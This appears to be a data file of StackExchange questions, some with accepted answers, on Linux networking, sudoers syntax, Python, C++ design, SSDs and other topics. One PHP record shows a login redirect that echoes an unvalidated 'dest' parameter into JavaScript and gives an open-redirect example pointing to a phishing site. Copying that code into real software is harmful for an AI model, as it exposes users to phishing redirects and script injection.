{  "id": "_webapps.107974"  , "question": "I'm watching a playlist of 130 entries from start to finish  or so I thought  when after watching the 46th entry I'm thrown back to the first. I was expecting to see the 47th. When I tap next I go to the beginning of the playlist. When I tap on the 47th entry I go to the 47th entry. I don't understand why it works like this? I have been trying to figure out the purpose and usage of YouTube playlists for a long time but it keeps eluding me with unexpected behavior.Using safari for iOS 10. The playlistBefore tapping nextAfter tapping next"  , "title": "Why does YouTube playlists restart in the middle?"  , "tags": "youtube;youtube playlist"  } 
{  "id": "_webapps.40600"  , "question": "Lately, I've been getting notifications alerting me when one of my friends is at a nearby location.  Since I couldn't care any less, I'd like to disable these, but I don't know where that particular setting is."  , "title": "How do I disable so-and-so is nearby at whatever notifications?"  , "tags": "facebook"  } 
{  "id": "_codereview.151893"  , "question": "Here is a list where I would like to keep only the 'windows' where there are a group of number higher than 3, but if in any case inside this group you find a smaller number, you keep it. Moreover, if there is an isolated high number (between zeros for example), we need to delete it. l = [3.5, 0, 0, 0.5, 4, 10, 20, 3, 20, 10, 2, 0, 0, 3.5, 0, 2, 18, 15, 2, 14, 2, 0]and the expected result :[4, 10, 20, 3, 20, 10, 18, 15, 2, 14]This program does it but I feel this it not very pythonic, could you think of any other way ?l = [3.5, 0, 0, 0.5, 4, 10, 20, 3, 20, 10, 2, 0, 0, 3.5, 0, 2, 18, 15, 2, 14, 2, 0]new_l = []index = []seuil = 3for i, elt in enumerate(l):    if elt > seuil:         if (l[i-1] and l[i+1]) > 1:             new_l.append(elt)            index.append(i)        else:            pass    else:        try:             if (l[i-1] and l[i+1]) > seuil:                 new_l.append(elt)                index.append(i)        except IndexError:            passprint indexprint new_l"  , "title": "Pythonic way to select element in a list window"  , "tags": "python"  , "accepted_answer": "Write functions, improvements can range from faster code to the ability to reliably time or profile your code.You don't need to use else if you're just using pass in that block.Your code is WET, so it's not DRY. Instead of duplicating the code, you could instead assign to a variable in the if and else, to check against.You may want to get into a habit of using if __name__ == '__main__':. In short, if you import the file it won't run the code.This can get you:def rename_me(l, seuil):    new_l = []    index = []    for i, elt in enumerate(l):        bound = 1 if elt > seuil else seuil        try:            if (l[i-1] and l[i+1]) > bound:                new_l.append(elt)                index.append(i)        except IndexError:            pass    return index, new_lA couple more things:I think you have a bug, (l[i-1] and l[i+1]) > bound probably isn't doing what you think it is. It's only checking if l[i+1] is greater than bound. As 1 and 2 == 2 and 0 and 2 == 0 are both true. Instead you may want to use l[i-1] > bound < l[i+1].I don't see why you'd need the indexes and the elements from the original list, and so you could instead just return one or the other.You can change the function to be a generator function, as this reduces memory usage.You could use a modified itertools.pairwise, to remove the IndexError.from itertools import teedef rename_me(l, seuil):    a, b, c = tee(l, 3)    next(b, None)    next(c, None)    next(c, None)    for index, (i, j, k) in enumerate(zip(a, b, c), 1):        if i > (1 if j > seuil else seuil) < k:            yield index"  } 
{  "id": "_unix.33855"  , "question": "I'm working on a software which connects to a Real Time data server (using TCP) and I have some connections dropping. My guess is that the clients do not read the data coming from the server fast enough. Therefore I would like to monitor my TCP sockets. For this I found the ss tool.This tool allows to see the state of every socket - here's an example line of the output of the command ss -inm 'src *:50000'ESTAB      0      0             184.7.60.2:50000       184.92.35.104:1105  mem:(r0,w0,f0,t0) sack rto:204 rtt:1.875/0.75 ato:40My question is: what does the memory part mean?   Looking at the source code of the tool I found that the data is coming from a kernel structure (sock in sock.h). More precisely, it comes from the fields :r = sk->sk_rmem_allocw = sk->sk_wmem_queued;f = sk->sk_forward_alloc;t = sk->sk_wmem_alloc;Does somebody know what they mean? My guesses are:rmem_alloc : size of the inbound bufferwmem_alloc : size of the outbound buffersk_forward_alloc : ???sk->sk_wmem_queued : ???Here are my buffers sizes :net.ipv4.tcp_rmem = 4096        87380   174760net.ipv4.tcp_wmem = 4096        16384   131072net.ipv4.tcp_mem = 786432       1048576 1572864net.core.rmem_default = 110592net.core.wmem_default = 110592net.core.rmem_max = 1048576net.core.wmem_max = 131071"  , "title": "Kernel socket structure and TCP_DIAG"  , "tags": "linux;tcp;socket"  , "accepted_answer": "sk_forward_alloc is the forward allocated memory which is the total memory currently available in the socket's quota.sk_wmem_queued is the amount of memory used by the socket send buffer queued in the transmit queue and are either not yet sent out or not yet acknowledged.You can learn more about TCP Memory Management in chapter 9 of TCP/IP Architecture, Design and Implementation in Linux By Sameer Seth, M. Ajaykumar Venkatesulu"  } 
{  "id": "_unix.59899"  , "question": "I have a number of users of a desktop machine, who each have a folder on a remote samba server. I am trying to set up per-user mounting of these network folders following the instructions here:https://askubuntu.com/questions/67405/auto-mounting-network-shares-per-userThat article recommends adding the following line to sudoers:user ALL= NOPASSWD: /bin/mount -t cifs -o cred=/home/user/.Music.cred //server/music /home/user/MyMusicFolderThat command works fine, but I need to mount the shares so that they are owned by a specific group. I have tried changing the line to read like this:user ALL= NOPASSWD: /bin/mount -t cifs -o cred=/home/user/.Music.cred,gid=xxx //server/music /home/user/MyMusicFolderBut with the addition of the ,gid=xxx the sudoers file no longer parses correctly. I assume this is because the NOPASSWD command actually takes a comma separated list of arguments so I need to escape the comma in the command. I can do this using a backslash, like so:user ALL= NOPASSWD: /bin/mount -t cifs -o cred=/home/user/.Music.cred\\,gid=xxx //server/music /home/user/MyMusicFolderNow the sudoers file will parse, and I can run the mount command with sudo without being asked for a password. Unfortunately I now get this error:Sorry, user is not allowed to execute '/bin/ls /home/' as root on ubuntu.when I try to run any other command. I don't get this error if I remove the \\,gid=xxx from the line. So what is the right way to escape commas in the sudoers file?"  , "title": "Passwordless sudo of a command containing a comma"  , "tags": "linux;ubuntu;sudo"  , "accepted_answer": "From the sudoers(5) man page:Note that the following         characters must be escaped with a '\\' if they are used in command         arguments: ',', ':', '=', '\\'."  } 
{  "id": "_unix.324145"  , "question": "I am trying to setup a Linux Container using bridged networking.Here's how I setup my bridge: http://www.ericsbinaryworld.com/2016...he-connection/Here's how I installed the container: http://www.ericsbinaryworld.com/2016...etting-up-lxc/When I use lxc-attach -n lemmy to get into the container, I don't have internet access within the container.Did I forget an easy step?This is running in a KVM VM that is using macvtap and that the VM itself is able to access the net.Other relevant info/things I've done to try and debug the problem.Host OS: Fedora 24.VM: CentOS 7 - named AirshipInside of Airship, a container - named Lemmy.First round of debugging:I started the VM - Airship.Logged into Airship as root.ping www.google.comworks.lxc-start -n lemmy -dlxc-attach -n lemmyNow I'm inside the container.ping 8.8.8.8gets meconnect: Network is unreachableSo I did an ip a and it looks like the interface isn't up.Did a check of systemctl status network.service and apparently it was in a failed state.When I tried a systemctl start network.service it just stays there without seeming to finish.Second round of debugging:When I did a systemctl status network.service - it looks like it was stalling on trying to get a DHCP address.So I edited the following file:/etc/sysconfig/network-scripts/ifcfg-eth0To have:DEVICE=eth0ONBOOT=yesIPADDR=192.168.1.36PREFIX=24GATEWAY=192.168.1.1DNS1=192.168.1.7DOMAIN=mushroomkingdomHOSTNAME=NM_CONTROLLED=noTYPE=EthernetMTU=So now it comes up and has an IP address. But I can't reach anyone local or internet.Dmesg shows:[ 3932.778454] virbr0: port 2(vethFXTSQ3) entered forwarding state[ 4089.412588] virbr0: received packet on eth0 with own address as source addressIt can ping itself and the host.[root@lemmy ~]# ping 192.168.1.36PING 192.168.1.36 (192.168.1.36) 56(84) bytes of data.64 bytes from 192.168.1.36: icmp_seq=1 ttl=64 time=0.030 ms64 bytes from 192.168.1.36: icmp_seq=2 ttl=64 time=0.034 ms64 bytes from 192.168.1.36: icmp_seq=3 ttl=64 time=0.019 ms64 bytes from 192.168.1.36: icmp_seq=4 ttl=64 time=0.031 ms[root@lemmy ~]# ping 192.168.1.35PING 192.168.1.35 (192.168.1.35) 56(84) bytes of data.64 bytes from 192.168.1.35: icmp_seq=1 ttl=64 time=0.085 ms64 bytes from 192.168.1.35: icmp_seq=2 ttl=64 time=0.047 msBut if I try my local DNS:[root@lemmy ~]# ping 192.168.1.7PING 192.168.1.7 (192.168.1.7) 56(84) bytes of data.From 192.168.1.36 icmp_seq=1 Destination Host UnreachableFrom 192.168.1.36 icmp_seq=2 Destination Host UnreachableFrom 192.168.1.36 icmp_seq=3 Destination Host UnreachableOther things you might ask for:[root@airship ~]# lxc-info -n lemmyName: lemmyState: RUNNINGPID: 3802IP: 192.168.1.36CPU use: 0.18 secondsBlkIO use: 92.50 KiBMemory use: 1.11 MiBKMem use: 0 bytesLink: vethFXTSQ3TX bytes: 3.24 KiBRX bytes: 54.10 KiBTotal bytes: 57.34 KiBand on the VM hosting the container:[root@airship ~]# ip a1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWNlink/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lo   valid_lft forever preferred_lft foreverinet6 ::1/128 scope host    valid_lft forever preferred_lft forever2: ens4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000link/ether 52:54:00:3d:99:5c brd ff:ff:ff:ff:ff:ffinet 192.168.254.214/24 brd 192.168.254.255 scope global dynamic ens4   valid_lft 2308sec preferred_lft 2308secinet6 fe80::5054:ff:fe3d:995c/64 scope link    valid_lft forever preferred_lft forever3: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master virbr0 state UP qlen 1000link/ether 52:54:00:64:f5:67 brd ff:ff:ff:ff:ff:ff4: virbr0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UPlink/ether 52:54:00:64:f5:67 brd ff:ff:ff:ff:ff:ffinet 192.168.1.35/24 brd 192.168.1.255 scope global virbr0   valid_lft forever preferred_lft foreverinet6 fe80::5054:ff:fe64:f567/64 scope link    valid_lft forever preferred_lft forever8: vethFXTSQ3@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master virbr0 state UP qlen 1000link/ether fe:6f:c5:df:0e:e1 brd ff:ff:ff:ff:ff:ff link-netnsid 0inet6 fe80::fc6f:c5ff:fedf:ee1/64 scope link    valid_lft forever preferred_lft foreverand:[root@airship ~]# brctl showbridge name bridge id           STP enabled interfacesvirbr0      8000.52540064f567      no         eth0                                              vethFXTSQ3"  , "title": "LXC Container cannot access LAN OR Internet"  , "tags": "networking;lxc"  } 
{  "id": "_unix.82876"  , "question": "I have two VirtualBox virtual machines: one with SuSE Enterprise 10 and one with Red Hat Enterprise 5. I want to connect through SSH from RedHat to SuSE.Both are configured to use a bridged adapter with vnic0 as name and Allow All for Promiscuous Mode. SuSE has IP 10.211.55.5 and Red Hat has IP 10.211.55.6. I can connect through SSH from SuSE to Red Hat but not vice-versa. What could be the problem?If I ping from Red Hat to SuSE and vice versa, everything is in order and the transmitted packets are received. If I traceroute from SuSE to Red Hat I get 1 10.211.55.6 (10.211.55.6)(H!) 0.509 ms (H!) 14.974 ms (H!) 0.877 mswhich seems in order, but when I traceroute from RedHat to SuSE I get traceroute to 10.211.55.5 (10.211.55.5), 30 hops max, 40 byte packets1 * * *2 * * *3 * * *4 * * *...If I do ssh -l user 10.211.55.6 from the SuSE virtual machine everything connects ok but if I do ssh -l user 10.211.55.5 from the Red Hat virtual machine I get Connection timed out.Both systems are connected to the internet and I can surf the net.What am I doing wrong? Why I can't SSH from Red Hat to the SuSE virtual machine?"  , "title": "Connect two VirtualBox virtual machines through SSH"  , "tags": "networking;ssh;virtualbox;suse"  } 
{  "id": "_codereview.74067"  , "question": "I wish to redirect users to the login page if they attempt to visit a page which requires them to be logged in. After logging in, however, I want to redirect the user back to their original destination. I've written a redirect.php script which is to be included on all such pages:<?phprequire session.php;if(!$user){    header(Location: login.php?dest=.urlencode($_SERVER[REQUEST_URI]));    die();}?>Then on my login page I have the following:<?php $dest = ./;if(isset($_GET[dest])){    $dest = $_GET[dest];}?>with the following JavaScript:var URL = <?php echo $dest; ?>;//...//upon successful login (via AJAX):window.location.replace(URL);Everything here works as intended but where does this stand from a security standpoint?One vulnerability that comes to mind is something likehttp://mysite.com/login.php?dest=http://phishingsite.comHow might I best prevent something like this? Would regex be suitable here?Are there any other security concerns with this type of thing? Perhaps a standard way of doing this? Or better yet, a method which does not use GET variables at all?"  , "title": "PHP login redirect security"  , "tags": "php;security;authentication;url"  } 
{  "id": "_unix.274865"  , "question": "I'm a complete newbie and I'm starting to learn the basic for shell scripts. So I apologize if this question is very simple for most users. I'm trying to display the text TRUE to the screen if a file is tested to have the readable bit set using the if then statement. Thank you most kindly,"  , "title": "code to display the text TRUE"  , "tags": "linux;shell;centos;scripting"  } 
{  "id": "_softwareengineering.291638"  , "question": "I am new to Junit. I have a class with four methods. I am creating a test class with test cases. Can I have a test case that uses more than one methods of testing class or there should one test case per one method. What is good practice ?"  , "title": "Multiple methods in single test case"  , "tags": "junit"  } 
{  "id": "_unix.73915"  , "question": "I have a quick question that I ran across while trying to install Linux Mint along with Windows 8 on my computer. I'm pretty new to Linux stuff so I'm sorry if this is pretty obvious. I'm mainly looking for confirmation that my partitioning scheme will work, but also what I should do with the bootloader. I have a hard drive and an SSD, but the hard drive is just being used for storage so I won't really mention it.As it stands, my SSD already has Windows 8 installed on an NTFS partition, as well as a 10GB swap partition and an empty ext4 partition where I plan to install Mint. I have a few questions about this setupWill there be any problems mounting /home on an empty ext4 partition on my hard drive while mounting / on the SSD? I can't see why it would be, but I thought I might as well ask.The Mint installer asks me which device to use for the boot loader installation. The choices on my SSD are:/dev/sdb (entire SSD)/dev/sdb1 (described as Windows 8 (loader) in menu, which is the NTFS partition with the entire Window 8 installation including bootloader)/dev/sdb6 (the ext4 partition where I'm installing Mint)Right now, /dev/sdb1 is marked as my boot partition which makes sense, seeing as that's where the Windows 8 bootloader is. If I choose to install the new bootloader there, would it overwrite the Windows 8 one and mess everything up? My understanding is that Mint installs GRUB, and when you boot into that it gives you the choice of going into Mint or Windows, and if you choose Windows it just jumps over to the Windows bootloader. With this mind, I was thinking that I should just install the bootloader into /dev/sdb6, leaving the Windows partition completely alone and then set /dev/sdb6 as my boot partition. Then when I boot it will go into GRUB, and if I choose the Windows 8 bootloader it will jump over to /dev/sdb1 and start Windows normally. I really don't understand this stuff that well though, so I thought it would definitely be a good idea to ask so I don't make Windows unbootable or something. I also don't understand the choice of putting the bootloader in /dev/sdb since there is no unallocated space on the SSD or anything, so the idea of installing the bootloader across 3 partitions seems a little off to me. "  , "title": "Question About Bootloader Partition (Mint)"  , "tags": "linux mint;partition;dual boot;boot loader"  } 
{  "id": "_cs.6846"  , "question": "Possible Duplicate:Complexity inversely propotional to $n$ I'm curious if anyone's come up with a problem or method as n => infinity t => 0. Are there any sort of cases found in quantum computing?"  , "title": "is there an example of an algorithm that has O(1/n)?"  , "tags": "time complexity"  , "accepted_answer": "As the complexity of an algorithm is a measure of the number of operations (in a sense to be defined in each context) needed to do some computation in function of the size of some input, sub-constant complexity does not make any sense. With your exemple, $O(\\frac1n)$, it means that for a sufficiently large input, the algorithm does strictly less than one operation, which in terms of Turing machines means that the initial state is accepting, which means that the corresponding Turing machine does not output anything.Edit: I had not seen the quantum computing reference, so my answer might not be total, although I doubt it makes sense even in that context."  } 
{  "id": "_ai.3301"  , "question": "I'm working on a project where I train a Q-learning agent to learn an optimal control policy for a water heater. I've set up a simulation which allows the agent to explore for one year. I then examine the results of the agent performance exploiting its optimal policy for the following year. The agent can perform the following actions (available actions depend on the state of the environment):Turn the electrical heating element on.Turn the electrical heating element off.Turn gas heating on.Turn gas heating off.Do nothing.The goal of the agent reach the target temperature (50 deg C) when hot water is scheduled. The agent is rewarded for choosing actions which produce the lowest CO2 emissions (the CO2 emissions produced from electricity vary over time).One of the issues I have noticed is that during the exploration phase, the agent tries a lot of weighted random actions which causes the water heater to overheat (>80 deg C). When the water heater overheats, it is not possible for the agent to perform further actions other than switching off heating and doing nothing. The agent is also punished for reaching the overheating tank state. The tank may remain in the overheated state for some time. It seems as if the tendency to overheat the tank during exploration is negatively impacting how the agent learns its policy as it reduces the number of experiences in other states.Is there a term for this kind of situation during exploration in reinforcement learning? During exploration, the agent uses a chooses a softmax weighted random aciton. Are there alternative ways of choosing actions that may still allow for exploration while not reaching the overheating state?"  , "title": "Agent exploration which leads to a negative state where actions are limited"  , "tags": "machine learning;reinforcement learning"  } 
{  "id": "_unix.323446"  , "question": "I am having an issue where DHCP (I though as I read in other similar topics) is clearing the /etc/resolv.conf file on each boot. I am not sure about how to deal with this since the post I have found (1, 2 and some others) are for Debian based distros or other but not Fedora.This is the output of ifcfg-enp0s31f6 so for sure is DHCP:cat /etc/sysconfig/network-scripts/ifcfg-enp0s31f6 HWADDR=C8:5B:76:1A:8E:55TYPE=EthernetDEFROUTE=yesIPV4_FAILURE_FATAL=noIPV6INIT=noIPV6_AUTOCONF=noIPV6_DEFROUTE=noIPV6_FAILURE_FATAL=noIPV6_ADDR_GEN_MODE=stable-privacyNAME=enp0s31f6UUID=0af812a3-ac8e-32a0-887d-10884872d6c7ONBOOT=yesIPV6_PEERDNS=noIPV6_PEERROUTES=noBOOTPROTO=dhcpPEERDNS=yesPEERROUTES=yesIn the other side I don't know if Network Manager is doing something else around this.Update: Content of NetworkManager.conf (I have removed the comments since are useless)$ cat /etc/NetworkManager/NetworkManager.conf [main]#plugins=ifcfg-rh,ibftdns=none[logging]#domains=ALLCan I get some help with this? It's annonying be setting up the file once and once on every reboot.UPDATE 2After a month I'm still having the same issue where file gets deleted by something. Here is the steps I did follow in order to make a fresh test:Reboot the PCAfter PC gets restarted open a terminal and try to ping Google servers of course without success:$ ping google.comping: google.com: Name or service not knownCheck the network configuration were all seems to be fine:$ cat /etc/sysconfig/network-scripts/ifcfg-enp0s31f6 NAME=enp0s31f6ONBOOT=yesHWADDR=C8:5B:76:1A:8E:55MACADDR=C8:5B:76:1A:8E:55UUID=0af812a3-ac8e-32a0-887d-10884872d6c7BOOTPROTO=staticPEERDNS=noDNS1=8.8.8.8DNS2=8.8.4.4DNS3=192.168.1.10NM_CONTROLLED=yesIPADDR=192.168.1.66NETMASK=255.255.255.0BROADCAST=192.168.1.255GATEWAY=192.168.1.1TYPE=EthernetDEFROUTE=yesIPV4_FAILURE_FATAL=noIPV6INIT=noRestart the network service:$ sudo service network restart[sudo] password for <current_user>: Restarting network (via systemctl):                        [  OK  ]Try to ping Google servers again, with no success:$ ping google.comping: google.com: Name or service not knownCheck for file /etc/resolv.conf:$ cat /etc/resolv.conf cat: /etc/resolv.conf: No such file or directoryFile doesn't exists anymore - and this is the problem something is deleting it on every rebootCreate the file and add the content of DNS:$ sudo nano /etc/resolv.conf Ping Google servers this time with success:$ ping google.comPING google.com (216.58.192.110) 56(84) bytes of data.64 bytes from mia07s35-in-f110.1e100.net (216.58.192.110): icmp_seq=1 ttl=57 time=3.87 msAny ideas in what could be happening here?"  , "title": "File /etc/resolv.conf deleted on every reboot, why or what?"  , "tags": "networking;fedora;networkmanager;dhcp;resolv.conf"  } 
{  "id": "_unix.162501"  , "question": "I need an overview of what data is kept in FreeBSD 9.3's Process Control Block and in it's Thread Control Block. Where can I find that information?"  , "title": "FreeBSD Process and Thread Control Block"  , "tags": "freebsd"  } 
{  "id": "_unix.328669"  , "question": "I'm trying to deactivate the checksum offloading on OSX.sudo sysctl -w net.link.ether.inet.apple_hwcksum_tx=0--sysctl: oid 'net.link.ether.inet.apple_hwcksum_tx' is read onlyThis one above seems not to work anymore. Cheers"  , "title": "How to disable tcp checksum offloading on OSX 10.11.6?"  , "tags": "osx;tcp"  } 
{  "id": "_unix.189072"  , "question": "I have a list of roughly 100 entries to be deleted from a csv-delimited file. They are already in another text file called 'tbd.txt;My first thought is to write a bash for loop around 'sed -i' but that seems horribly wasteful of disk i/o.Is there a better way to have sed parse the file of deletions internally? There is a similar problem here but the solution doesn't seem scalable. "  , "title": "Match and delete lines with ~100 strings"  , "tags": "text processing;sed;csv"  } 
{  "id": "_cs.14308"  , "question": "I am new to C++ and just learned that The declaration of a static data member in the member list of a class is not a definition. You must define the static member outside of the class declaration, in namespace scope. I am curious about why this is. Are there particular design advantages to making the rules of the language in this way? I am not asking: tell me what Stroustrup was thinking when he made C++ -- which I know is an unfair question on these forums. I am asking: if someone sat down to make a computer language, why might they require that static data members are defined outside of the class. What are the advantages of this? What are the disadvantages? What kinds of costs would this incur? Why would someone put this quirk in their language? (Also I'm curious, but I know it's not totally appropriate to ask here: how did this quirk end up in C++)."  , "title": "If someone was designing a computer language, why would they require static members to be defined outside the class?"  , "tags": "programming languages"  , "accepted_answer": "Such language design solution makes sense, because class body is basically a declaration, which normally has to be in the header file. All definitions has to appear in cpp files, where class instances are actually used. If you allow static members to be defined inside class body, then you mix declarations with definitions. So I would require this to make separation between declarations and definitions clear.In terms of this separation it is fine to initialise static const class members inside class body. Basically, you are defining some constant and it could be equivalently done with some #define directive.It doesn't seem that this restriction is due to the limits of the language or a compiler. Java doesn't have this restriction and allows definitions inside the body of a class for any static data member (not const only).Update: C++11 relaxes the restriction and supports non-static member in-class initialisation. Static members still have to be defined outside."  } 
{  "id": "_webmaster.30705"  , "question": "Possible Duplicate:How to have a blogspot blog in my domain? i have a blog from blogger named as www.myclipta.blogspot.com. i am updating regulary. Then i bought a custom domain with myclipta.com. Now i want to redirect from blogger domain to my custom domain. i don't know how to do this . i heard that to set dns name servers and CNAME..But i am not able to do this..can any one can guide me please.."  , "title": "Redirecting from blogger to custom domain"  , "tags": "domains;blogger;302 redirect"  } 
{  "id": "_hardwarecs.3932"  , "question": "I have set up a VM (web development server) on a USB drive, but consider moving it to a SD card. VM has currently around 25 GB; so with a 64 GB card I would probably be safe.The price is pretty irrelevant, as long as I can justify it to the management.why?I dont want the VM to be stored on the hosts hardware.And the USB hard drive has two drawbacks:It is an extra object in my bag and on the table (which might be in a cafe, train, waiting room); an SD card would be much more handy.When the host (a Surface Book) goes into standby, it cuts the power to the USB HD; when it wakes up, the VM wont respond to anything but switching off or reboot.consideration:The card will not only be for putting a few files on it and updating them every now and then, but for actually working on it.The Surface Book supports UHS-I, as far as I could find out.questions:Should I chose a certain type of storage? (performance)Should I prefer a certain manufacturer? (reliability, durability)options:half size SD - I found Transcends JetDrive Lite, designed for MacBook Air/Pro.never found a working microSD to SD adapter; guess the contacts are wearing off fast when you plug/unplug the microSD? But I really like the looks of Bosvisions microSD Adapter) usb stick (SanDisk Ultra Fit or something similar): probably 3rd choice, because the Surface has only two USB ports"  , "title": "SD card for heavy use"  , "tags": "usb;virtual machines;sd card"  } 
{  "id": "_cs.13089"  , "question": "I just recently learnt about the existence of this Hierarchical Temporal Memory. I already read the main document (which seems rather easy to understand), but one red flag is that the document is neither peer-reviewed nor attempting to explain why it should work in details. I tried to look around for some independent sources, and found a few papers that compare its performance against others, but none explain why it perform well or not well. I noticed some comments claiming that it was looked down by mainstream expert, but I was unable to find any actual criticisms.So I would like to ask, what are the criticism regarding the performance of HTM? Assuming the following:-There are huge amount of training data to use, enough for even months long training session. Basically, any criticisms regarding size or length of training is not relevant.-Since HTM is meant to be generic, any domain-specific criticism should be related to a more fundamental problem.Thank you for your help."  , "title": "Some criticisms of Hierarchical Temporal Memory?"  , "tags": "neural networks"  } 
{  "id": "_unix.218245"  , "question": "Considering a routine such as this one:alpha() { echo a b c |tr ' ' '\\n'; }which outputs a stream, I would like to take the output stream, transform it, and paste it with the original output stream.If I take use upcasing as a sample transformation, I can achieve what I want with:$ mkfifo p1 p2$ alpha | tee p1 >( tr a-z A-Z > p2) >/dev/null &$ paste p1 p2a       Ab       Bc       CMy question is, is there a better way to do this, preferably one not involving named pipes?"  , "title": "Joined pipelines"  , "tags": "shell script;pipe;fifo;coprocesses"  } 
{  "id": "_unix.108145"  , "question": "I stumbled across a blog that mentioned the following command. who mom likesIt appears to be equivalent to who am i The author warns to never enter the following into the command line (I suspect he is being facetious)who mom hatesThere is nothing documented about the mom command. What does it do? "  , "title": "Is `who mom likes` a real linux command?"  , "tags": "who;whoami"  , "accepted_answer": "Yes it's a joke, included in by the developers of the who command. See the man page for who.excerptIf  FILE is not specified, use /var/run/utmp.  /var/log/wtmp as FILE is common.  If ARG1 ARG2 given, -m presumed: 'am i' or 'mom likes' are usual.This U&L Q&A titled: What is a non-option argument? explains some of the terminology from the man page and my answer also covers alternatives to who .. .... commands.DetailsThere really isn't anything special about am I or am i. The who command is designed to return the same results for any 2 arguments. Actually it behaves as if you called it with its -m switch.   -m     only hostname and user associated with stdinExamples$ who -msaml     pts/1        2014-01-06 09:44 (:0)$ who likes candysaml     pts/1        2014-01-06 09:44 (:0)$ who eats cookiessaml     pts/1        2014-01-06 09:44 (:0)$ who blah blahsaml     pts/1        2014-01-06 09:44 (:0)Other implementationsIf you take a look at The Heirloom Project, you can gain access to an older implementation of who.The Heirloom Toolchest is a    collection of standard Unix utilities.Highlights are:Derived from original Unix material released as Open Source by Caldera and    Sun.The man page that comes with this who in this distribution also has the same feature, except it's more obvious.$ groff -Tascii -man who.1 |less...SYNOPSIS       who [-abdHlmpqRrstTu] [utmp_file]       who -q [-n x] [utmp_file]       who [am i]       who [am I]......       With the two-argument synopsis forms `who am i' and  `who  am  I',  who       tells who you are logged in as......."  } 
{  "id": "_hardwarecs.6317"  , "question": "I need to urgently choose an external hard drive. I need IT to run windows 10 on my iMac, since virtual machines shows too low performance in my case. I think I need an SSD, since its data transfer rate faster than the HDD. I know that if SSD fails - it fails entirely, but I will not store important data on it (I need it for working with Hololens emulator and several other programs). And I hope with careful treatment, he will live longerSo, I'm looking for:SSD500GB or more$50-150 max Here is a model I have found - https://www.amazon.com/gp/product/B016JREG84/ref=ox_sc_act_title_1?ie=UTF8&psc=1&smid=ATVPDKIKX0DERWhat do you think about it? Would you recommend different one?I need an answer urgently, and I would be very grateful for your help!Thank you very much in advance!"  , "title": "Urgently choosing SDD - need advice!"  , "tags": "hard disk"  , "accepted_answer": "While I can't judge on the given SSD model, I can issue a recommendation for another one.The Samsung 850 EVO 500GB SSD.Here's why it's a good SSD:Price. It's 130USD on Amazon right now and thus just as expensive as the SSD you linked.Speed. The 850 Evo will go to 400MB/s no problem. Anything beyond that will depend on your system but probably won't make noticeable differences in practice.Durability / Warranty. Samsung gives you a 5-year / 150TBW warranty on this SSD, meaning Samsung guarantees that your SSD will still work perfectly fine if you use it for less than 5 years and write less than 150TB (300 complete writes over the drive or 84GB / day) during that time-span. Chances are this SSD won't fail you even if you go beyond the 150TBW limit. In fact, even the less-durable predecessor with half the storage (for which Samsung only gives you three years of warranty) survived 300TBW without major issues. It is thus expected that you can go at least up to 500 - 1000TBW without loosing the 850 EVO. If you want even more you need to put down the additional 90USD for a 850 PRO  which should survive a few PB worth of writes.Brand. Samsung flash storage has a very good reputation.Software. Samsung provides software for all its SSDs to optimize the system perfomance (stuff like enabling AHCI). The software also tells you how much data has already been written on your SSD.As a non-exhaustive personal opinion: I have used this very SSD for more than 1 year now "  } 
{  "id": "_unix.68263"  , "question": "I am currently re-setting up the apparmor profile for Firefox 19.0.2 on Ubuntu 12.04 and I am slightly confused. I must of had Firefox 7.01 last time I used this and if I do apparmor_status then regarding firefox I get..profiles are in enforce mode./usr/lib/firefox/firefox{,*[^s][^h]}//browser_java/usr/lib/firefox/firefox{,*[^s][^h]}//browser_openjdk/usr/lib/firefox/firefox{,*[^s][^h]}//sanitized_helper..profiles are in complain mode/usr/lib/firefox-7.0.1/firefox.sh/usr/lib/firefox/firefox{,*[^s][^h]}/usr/lib/firefox/firefox{,*[^s][^h]}//null-34/usr/lib/firefox/firefox{,*[^s][^h]}//null-34//null-35..processes are in complain mode./usr/lib/firefox/firefox{,*[^s][^h]} (3818) /usr/lib/firefox/firefox{,*[^s][^h]} (17960) /usr/lib/firefox/firefox{,*[^s][^h]} (21817) /usr/lib/firefox/firefox{,*[^s][^h]}//null-34 (3819) /usr/lib/firefox/firefox{,*[^s][^h]}//null-34//null-35 (3823) Now in the dir /etc/apparmor.d/ the profiles I have in relation to firefox areusr.bin.firefox and usr.lib.firefox-7.0.1.firefox.sh. Regarding the location of the firefox exec itself on my system - /usr/bin/firefox is a sym link to /usr/lib/firefox/firefox.sh i.e. there is no version number.Are these profiles in enforce mode some how sub profiles that are inheriting the parent profile and still in enforce mode despite the parent being in complain? Why is the profile shown in the status of the form /usr/lib/firefox/firefox not 1/usr/lib/firefox/firefox-7.01`?Finally I thought messages were supposed to go to /var/log/messages yet this file does not exist for me, despite processes being left in complain mode for some time..."  , "title": "apparmor and Firefox"  , "tags": "ubuntu;apparmor"  } 
{  "id": "_unix.64551"  , "question": "How do I set up an encrypted swap file (not partition) in Linux?  Is it even possible?  All the guides I've found talk about encrypted swap partitions, but I don't have a swap partition, and I'd rather not have to repartition my disk.I don't need suspend-to-disk support, so I'd like to use a random key on each boot.I'm already using a TrueCrypt file-hosted volume for my data, but I don't want to put my swap in that volume.  I'm not set on using TrueCrypt for the swap file if there's a better solution.I'm using Arch Linux with the default kernel, if that matters."  , "title": "How do I set up an encrypted swap file in Linux?"  , "tags": "linux;arch linux;encryption;swap"  , "accepted_answer": "Indeed, the page describes setting up a partition, but it's similar for a swapfile:dd if=/dev/urandom of=swapfile.crypt bs=1M count=64loop=$(losetup -f)losetup ${loop} swapfile.cryptcryptsetup open --type plain --key-file /dev/urandom ${loop} swapfilemkswap /dev/mapper/swapfileswapon /dev/mapper/swapfileThe result:# swapon -sFilename                                Type            Size    Used    Priority/dev/mapper/swap0                       partition       4000176 0       -1/dev/mapper/swap1                       partition       2000084 0       -2/dev/mapper/swapfile                    partition       65528   0       -3swap0 and swap1 are real partitions."  } 
